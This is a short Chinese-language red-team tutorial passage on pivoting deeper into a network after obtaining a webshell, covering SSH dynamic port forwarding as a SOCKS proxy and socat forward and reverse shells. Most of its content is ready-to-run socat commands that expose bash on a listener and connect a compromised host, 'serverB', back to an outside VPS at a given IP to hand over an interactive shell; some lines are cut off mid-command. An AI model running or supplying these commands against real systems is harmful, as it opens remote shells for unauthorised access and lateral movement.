在企业安全对抗中,红方攻击团队经常会遇到这种情况,在企业的网络边界上获取到部分权限,比如一个web服务器的webshell,然而如何更方便的进行下一步的渗透呢?...利用ssh建立隧道
动态端口转发
原理:建立一个动态的SOCKS4/5的代理通道,紧接着的是本地监听的端口号;动态端口转发是建立一个ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5协议的程序都可以使用这个加密的通道来进行代理访问...socat
正向shell
vps上执行监听1337端口:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint...,sane
在serverB上执行:
socat FILE:`tty`,raw,echo=0 TCP:106.22.50.48:1337
反向shell
vps上执行监听1337:
socat TCP-LISTEN...:1337,reuseaddr FILE:`tty`,raw,echo=0
在serverB上执行:
socat TCP4:106.22.50.48:1337 EXEC:bash,pty,stderr,